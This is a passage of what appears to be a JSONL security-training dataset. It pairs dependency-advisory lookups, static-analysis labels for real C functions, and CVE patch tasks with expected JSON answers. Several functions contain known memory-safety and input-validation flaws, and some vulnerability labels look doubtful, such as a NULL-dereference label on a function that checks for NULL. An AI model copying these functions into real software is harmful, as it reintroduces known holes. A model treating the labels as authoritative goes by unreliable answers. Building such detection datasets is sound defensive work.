"Ecosystem: npm\nManifest: package.json\nPackage: axios\nInstalled version: 1.20.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"axios\",\n \"installed_version\": \"1.20.0\",\n \"note\": \"axios 1.20.0 is at or above the fixed version for GHSA-m8m8-qj5v-23w3; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static struct dentry *proc_mount(struct file_system_type *fs_type,\n\tint flags, const char *dev_name, void *data)\n{\n\tint err;\n\tstruct super_block *sb;\n\tstruct pid_namespace *ns;\n\tstruct proc_inode *ei;\n\tchar *options;\n\n\tif (flags & MS_KERNMOUNT) {\n\t\tns = (struct pid_namespace *)data;\n\t\toptions = NULL;\n\t} else {\n\t\tns = current->nsproxy->pid_ns;\n\t\toptions = data;\n\t}\n\n\tsb = sget(fs_type, proc_test_super, proc_set_super, ns);\n\tif (IS_ERR(sb))\n\t\treturn ERR_CAST(sb);\n\n\tif (!sb->s_root) {\n\t\tsb->s_flags = flags;\n\t\tif (!proc_parse_options(options, ns)) {\n\t\t\tdeactivate_locked_super(sb);\n\t\t\treturn ERR_PTR(-EINVAL);\n\t\t}\n\t\terr = proc_fill_super(sb);\n\t\tif (err) {\n\t\t\tdeactivate_locked_super(sb);\n\t\t\treturn ERR_PTR(err);\n\t\t}\n\n\t\tsb->s_flags |= MS_ACTIVE;\n\t}\n\n\tei = PROC_I(sb->s_root->d_inode);\n\tif (!ei->pid) {\n\t\trcu_read_lock();\n\t\tei->pid = get_pid(find_pid_ns(1, ns));\n\t\trcu_read_unlock();\n\t}\n\n\treturn dget(sb->s_root);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\nInstalled version: 0.37.0\nSummary: Denial of service in go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2023-2331\",\n \"cve\": \"CVE-2023-47108\",\n \"aliases\": [\n \"CVE-2023-47108\",\n \"GHSA-8pgv-569h-w5rw\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0.37.0, <0.46.0\",\n \"fixed_version\": \"0.46.0\",\n \"finding\": \"Denial of service in go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc\",\n \"remediation\": \"Upgrade go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc to 0.46.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-20). Produce the patched version and explain the fix. Output JSON.", "input": " static MagickBooleanType ConcatenateImages(int argc,char **argv,\n ExceptionInfo *exception )\n {\n FILE\n *input,\n *output;\n \n int\n c;\n \n register ssize_t\n i;\n \n if (ExpandFilenames(&argc,&argv) == MagickFalse)\n ThrowFileException(exception,ResourceLimitError,\"MemoryAllocationFailed\",\n GetExceptionMessage(errno));\n output=fopen_utf8(argv[argc-1],\"wb\");\n if (output == (FILE *) NULL) {\n ThrowFileException(exception,FileOpenError,\"UnableToOpenFile\",argv[argc-1]);\n return(MagickFalse);\n }\n for (i=2; i < (ssize_t) (argc-1); i++) {\n#if 0\n fprintf(stderr, \"DEBUG: Concatenate Image: \\\"%s\\\"\\n\", argv[i]);\n#endif\n input=fopen_utf8(argv[i],\"rb\");\n if (input == (FILE *) NULL) {\n ThrowFileException(exception,FileOpenError,\"UnableToOpenFile\",argv[i]);\n continue;\n }\n for (c=fgetc(input); c != EOF; c=fgetc(input))\n (void) fputc((char) c,output);\n (void) fclose(input);\n (void) remove_utf8(argv[i]);\n }\n (void) fclose(output);\n return(MagickTrue);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2016-10060\",\n \"fixed_code\": \" static MagickBooleanType ConcatenateImages(int argc,char **argv,\\n ExceptionInfo *exception )\\n {\\n FILE\\n *input,\\n *output;\\n \\n MagickBooleanType\\n status;\\n\\n int\\n c;\\n \\n register ssize_t\\n i;\\n \\n if (ExpandFilenames(&argc,&argv) == MagickFalse)\\n ThrowFileException(exception,ResourceLimitError,\\\"MemoryAllocationFailed\\\",\\n GetExceptionMessage(errno));\\n output=fopen_utf8(argv[argc-1],\\\"wb\\\");\\n if (output == (FILE *) NULL)\\n {\\n ThrowFileException(exception,FileOpenError,\\\"UnableToOpenFile\\\",\\n argv[argc-1]);\\n return(MagickFalse);\\n }\\n status=MagickTrue;\\n for (i=2; i < (ssize_t) (argc-1); i++)\\n {\\n input=fopen_utf8(argv[i],\\\"rb\\\");\\n if (input == (FILE *) NULL)\\n {\\n ThrowFileException(exception,FileOpenError,\\\"UnableToOpenFile\\\",argv[i]);\\n continue;\\n }\\n for (c=fgetc(input); c != EOF; c=fgetc(input))\\n if (fputc((char) c,output) != c)\\n status=MagickFalse;\\n (void) fclose(input);\\n (void) remove_utf8(argv[i]);\\n }\\n (void) fclose(output);\\n return(status);\\n }\\n\",\n \"change_summary\": \"https://github.com/ImageMagick/ImageMagick/issues/196\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/cilium/cilium\nInstalled version: 1.13.0\nSummary: Cilium leaks sensitive information in cilium-bugtool in github.com/cilium/cilium", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2024-2922\",\n \"cve\": \"CVE-2024-37307\",\n \"aliases\": [\n \"BIT-cilium-2024-37307\",\n \"BIT-cilium-operator-2024-37307\",\n \"BIT-cilium-proxy-2024-37307\",\n \"BIT-hubble-2024-37307\",\n \"BIT-hubble-relay-2024-37307\",\n \"BIT-hubble-ui-2024-37307\",\n \"BIT-hubble-ui-backend-2024-37307\",\n \"CVE-2024-37307\",\n \"GHSA-wh78-7948-358j\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/cilium/cilium\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=1.13.0, <1.15.6\",\n \"fixed_version\": \"1.15.6\",\n \"finding\": \"Cilium leaks sensitive information in cilium-bugtool in github.com/cilium/cilium\",\n \"remediation\": \"Upgrade github.com/cilium/cilium to 1.15.6 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void* sspi_SecureHandleGetUpperPointer(SecHandle* handle)\n{\n\tvoid* pointer;\n\n\tif (!handle)\n\t\treturn NULL;\n\n\tpointer = (void*) ~((size_t) handle->dwUpper);\n\n\treturn pointer;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: openclaw\nInstalled version: 2026.3.7\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"openclaw\",\n \"installed_version\": \"2026.3.7\",\n \"note\": \"openclaw 2026.3.7 is at or above the fixed version for GHSA-r6qf-8968-wj9q; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static Image *ReadRGFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n MagickBooleanType\n status;\n\n register IndexPacket\n *indexes;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n size_t\n bit,\n byte;\n\n ssize_t\n y;\n\n unsigned char\n *data;\n\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read RGF header.\n */\n image->columns = (unsigned long) ReadBlobByte(image);\n image->rows = (unsigned long) ReadBlobByte(image);\n image->depth=8;\n image->storage_class=PseudoClass;\n image->colors=2;\n /*\n Initialize image structure.\n */\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n /*\n Initialize colormap.\n */\n image->colormap[0].red=QuantumRange;\n image->colormap[0].green=QuantumRange;\n image->colormap[0].blue=QuantumRange;\n image->colormap[1].red=(Quantum) 0;\n image->colormap[1].green=(Quantum) 0;\n image->colormap[1].blue=(Quantum) 0;\n if (image_info->ping != MagickFalse)\n {\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n /*\n Read hex image data.\n */\n data=(unsigned char *) AcquireQuantumMemory(image->rows,image->columns*\n sizeof(*data));\n if (data == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n p=data;\n for (i=0; i < (ssize_t) (image->columns * image->rows); i++) \n {\n *p++=ReadBlobByte(image);\n }\n\n /*\n Convert RGF image to pixel packets.\n */\n p=data;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n bit=0;\n byte=0;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (bit == 0)\n byte=(size_t) (*p++);\n SetPixelIndex(indexes+x,(Quantum) ((byte & 0x01) != 0 ? 0x01 : 0x00));\n bit++;\n byte>>=1;\n if (bit == 8)\n bit=0;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n data=(unsigned char *) RelinquishMagickMemory(data);\n (void) SyncImage(image);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-10066\",\n \"fixed_code\": \"static Image *ReadRGFImage(const ImageInfo *image_info,ExceptionInfo *exception)\\n{\\n Image\\n *image;\\n\\n MagickBooleanType\\n status;\\n\\n register IndexPacket\\n *indexes;\\n\\n register PixelPacket\\n *q;\\n\\n register ssize_t\\n i,\\n x;\\n\\n register unsigned char\\n *p;\\n\\n size_t\\n bit,\\n byte;\\n\\n ssize_t\\n y;\\n\\n unsigned char\\n *data;\\n\\n\\n /*\\n Open image file.\\n */\\n assert(image_info != (const ImageInfo *) NULL);\\n assert(image_info->signature == MagickSignature);\\n if (image_info->debug != MagickFalse)\\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\\\"%s\\\",\\n image_info->filename);\\n assert(exception != (ExceptionInfo *) NULL);\\n assert(exception->signature == MagickSignature);\\n image=AcquireImage(image_info);\\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\\n if (status == MagickFalse)\\n {\\n image=DestroyImageList(image);\\n return((Image *) NULL);\\n }\\n /*\\n Read RGF header.\\n */\\n image->columns = (unsigned long) ReadBlobByte(image);\\n image->rows = (unsigned long) ReadBlobByte(image);\\n image->depth=8;\\n image->storage_class=PseudoClass;\\n image->colors=2;\\n /*\\n Initialize image structure.\\n */\\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\\n ThrowReaderException(ResourceLimitError,\\\"MemoryAllocationFailed\\\");\\n /*\\n Initialize colormap.\\n */\\n image->colormap[0].red=QuantumRange;\\n image->colormap[0].green=QuantumRange;\\n image->colormap[0].blue=QuantumRange;\\n image->colormap[1].red=(Quantum) 0;\\n image->colormap[1].green=(Quantum) 0;\\n image->colormap[1].blue=(Quantum) 0;\\n if (image_info->ping != MagickFalse)\\n {\\n (void) CloseBlob(image);\\n return(GetFirstImageInList(image));\\n }\\n status=SetImageExtent(image,image->columns,image->rows);\\n if (status == MagickFalse)\\n {\\n InheritException(exception,&image->exception);\\n return(DestroyImageList(image));\\n }\\n /*\\n Read hex image data.\\n */\\n data=(unsigned char *) AcquireQuantumMemory(image->rows,image->columns*\\n sizeof(*data));\\n if (data == (unsigned char *) NULL)\\n ThrowReaderException(ResourceLimitError,\\\"MemoryAllocationFailed\\\");\\n p=data;\\n for (i=0; i < (ssize_t) (image->columns * image->rows); i++) \\n {\\n *p++=ReadBlobByte(image);\\n }\\n\\n /*\\n Convert RGF image to pixel packets.\\n */\\n p=data;\\n for (y=0; y < (ssize_t) image->rows; y++)\\n {\\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\\n if (q == (PixelPacket *) NULL)\\n break;\\n indexes=GetAuthenticIndexQueue(image);\\n bit=0;\\n byte=0;\\n for (x=0; x < (ssize_t) image->columns; x++)\\n {\\n if (bit == 0)\\n byte=(size_t) (*p++);\\n SetPixelIndex(indexes+x,(Quantum) ((byte & 0x01) != 0 ? 0x01 : 0x00));\\n bit++;\\n byte>>=1;\\n if (bit == 8)\\n bit=0;\\n }\\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\\n break;\\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\\n image->rows);\\n if (status == MagickFalse)\\n break;\\n }\\n data=(unsigned char *) RelinquishMagickMemory(data);\\n (void) SyncImage(image);\\n (void) CloseBlob(image);\\n return(GetFirstImageInList(image));\\n}\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "chkpass_in(PG_FUNCTION_ARGS)\n{\n\tchar\t *str = PG_GETARG_CSTRING(0);\n\tchkpass *result;\n\tchar\t\tmysalt[4];\n\tchar\t *crypt_output;\n\tstatic char salt_chars[] =\n\t\"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n\t/* special case to let us enter encrypted passwords */\n\tif (*str == ':')\n\t{\n\t\tresult = (chkpass *) palloc(sizeof(chkpass));\n\t\tstrlcpy(result->password, str + 1, 13 + 1);\n\t\tPG_RETURN_POINTER(result);\n\t}\n\n\tif (verify_pass(str) != 0)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_DATA_EXCEPTION),\n\t\t\t\t errmsg(\"password \\\"%s\\\" is weak\", str)));\n\n\tresult = (chkpass *) palloc(sizeof(chkpass));\n\n\tmysalt[0] = salt_chars[random() & 0x3f];\n\tmysalt[1] = salt_chars[random() & 0x3f];\n\tmysalt[2] = 0;\t\t\t\t/* technically the terminator is not necessary\n\t\t\t\t\t\t\t\t * but I like to play safe */\n\n\tif ((crypt_output = crypt(str, mysalt)) == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_INVALID_PARAMETER_VALUE),\n\t\t\t\t errmsg(\"crypt() failed\")));\n\tstrcpy(result->password, crypt_output);\n\n\tPG_RETURN_POINTER(result);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"postgres\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static ssize_t bad_file_splice_read(struct file *in, loff_t *ppos,\n\t\t\tstruct pipe_inode_info *pipe, size_t len,\n\t\t\tunsigned int flags)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int efx_ethtool_set_ringparam(struct net_device *net_dev,\n \t\t\t\t struct ethtool_ringparam *ring)\n {\n \tstruct efx_nic *efx = netdev_priv(net_dev);\n \n \tif (ring->rx_mini_pending || ring->rx_jumbo_pending ||\n \t ring->rx_pending > EFX_MAX_DMAQ_SIZE ||\n \t ring->tx_pending > EFX_MAX_DMAQ_SIZE)\n \t\treturn -EINVAL;\n \n\tif (ring->rx_pending < EFX_MIN_RING_SIZE ||\n\t ring->tx_pending < EFX_MIN_RING_SIZE) {\n \t\tnetif_err(efx, drv, efx->net_dev,\n\t\t\t \"TX and RX queues cannot be smaller than %ld\\n\",\n\t\t\t EFX_MIN_RING_SIZE);\n \t\treturn -EINVAL;\n \t}\n \n\treturn efx_realloc_channels(efx, ring->rx_pending, ring->tx_pending);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-3412\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 11,\n 12,\n 14,\n 15,\n 19\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"efx_ethtool_set_ringparam\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"net_device\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"net_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"ethtool_ringparam\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 35\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"efx_nic\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"efx\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \"netdev_priv\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \"net_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 44\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \"rx_mini_pending\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 31\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \"rx_jumbo_pending\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 37\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 6,\n \"col\": 54\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"rx_pending\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"EFX_MAX_DMAQ_SIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 7,\n \"col\": 43\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"tx_pending\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"EFX_MAX_DMAQ_SIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 42\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"EINVAL\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \"rx_pending\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 11,\n \"col\": 22\n },\n {\n \"token\": \"EFX_MIN_RING_SIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 11,\n \"col\": 42\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "asmlinkage long sys_getsid(pid_t pid)\n{\n\tif (!pid)\n\t\treturn process_session(current);\n\telse {\n\t\tint retval;\n\t\tstruct task_struct *p;\n\n\t\tread_lock(&tasklist_lock);\n\t\tp = find_task_by_pid(pid);\n\n\t\tretval = -ESRCH;\n\t\tif (p) {\n\t\t\tretval = security_task_getsid(p);\n\t\t\tif (!retval)\n\t\t\t\tretval = process_session(p);\n\t\t}\n\t\tread_unlock(&tasklist_lock);\n\t\treturn retval;\n\t}\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-362", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.elasticsearch:elasticsearch\nInstalled version: <6.8.2\nSummary: Concurrent Execution using Shared Resource with Improper Synchronization in Elasticsearch", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-jqm6-m3j3-8gg9\",\n \"cve\": \"CVE-2019-7614\",\n \"aliases\": [\n \"CVE-2019-7614\"\n ],\n \"cwe\": \"CWE-362\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.elasticsearch:elasticsearch\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <6.8.2\",\n \"fixed_version\": \"6.8.2\",\n \"finding\": \"Concurrent Execution using Shared Resource with Improper Synchronization in Elasticsearch\",\n \"remediation\": \"Upgrade org.elasticsearch:elasticsearch to 6.8.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void jpc_cstate_destroy(jpc_cstate_t *cstate)\n{\n\tjas_free(cstate);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: System.Linq.Dynamic.Core\nInstalled version: <1.6.0\nSummary: Property reflection in System.Linq.Dynamic.Core", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4cv2-4hjh-77rx\",\n \"cve\": \"CVE-2024-51417\",\n \"aliases\": [\n \"CVE-2024-51417\"\n ],\n \"cwe\": null,\n 